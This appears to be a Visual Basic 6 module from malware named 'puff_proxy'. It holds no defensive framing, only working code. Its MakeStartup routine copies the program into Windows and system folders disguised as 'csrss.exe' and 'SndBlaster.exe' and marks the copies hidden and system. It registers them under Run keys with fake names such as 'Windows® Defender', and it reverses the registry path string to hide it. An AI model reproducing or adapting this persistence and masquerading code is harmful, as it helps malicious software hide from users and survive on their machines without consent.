Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Declare Function DoFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Function MyAppPath() As String
On Error Resume Next
If Right$(App.path, 1) = "\" Then MyAppPath = App.path & "puff_proxy.exe"
If Right$(App.path, 1) <> "\" Then MyAppPath = App.path & "\" & "puff_proxy.exe"
End Function
Public Function GetSysDir() As String
On Error Resume Next
Dim StrB As String
Dim iLen As Long
StrB = String$(128, Chr$(32))
iLen = GetSystemDirectory(StrB, 128)
GetSysDir = Left$(StrB, iLen) & "\"
End Function
Public Function GetWinDir() As String
On Error Resume Next
Dim StrB As String
Dim iLen As Long
StrB = String$(128, Chr$(32))
iLen = GetWindowsDirectory(StrB, 128)
GetWinDir = Left$(StrB, iLen) & "\"
End Function
Private Sub SaveString(Hkey As Long, strpath As String, strValue As String, strdata As String)
Dim keyhand As Long
Dim x As Long
x = RegCreateKey(Hkey, strpath, keyhand)
x = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
x = RegCloseKey(keyhand)
End Sub
Public Sub MakeStartup()
On Error Resume Next
Call DoFile(MyAppPath(), GetWinDir() & "csrss.exe", True)
DoEvents
Call SetAttr(GetWinDir() & "csrss.exe", vbHidden)
Call SetAttr(GetWinDir() & "csrss.exe", vbSystem)
Call SetAttr(GetWinDir() & "csrss.exe", vbReadOnly)
Call DoFile(MyAppPath, GetSysDir & "SndBlaster.exe", True)
DoEvents
Call SetAttr(GetSysDir() & "SndBlaster.exe", vbHidden)
Call SetAttr(GetSysDir() & "SndBlaster.exe", vbSystem)
Call SetAttr(GetSysDir() & "SndBlaster.exe", vbReadOnly)
DoEvents
Call SaveString(HKEY_LOCAL_MACHINE, StrReverse("nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), "Windows® Defender", GetWinDir & "csrss.exe")
Call SaveString(HKEY_CURRENT_USER, StrReverse("nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), "Sound Blaster", GetSysDir() & "SndBlaster.exe")
DoEvents
DoEvents
End Sub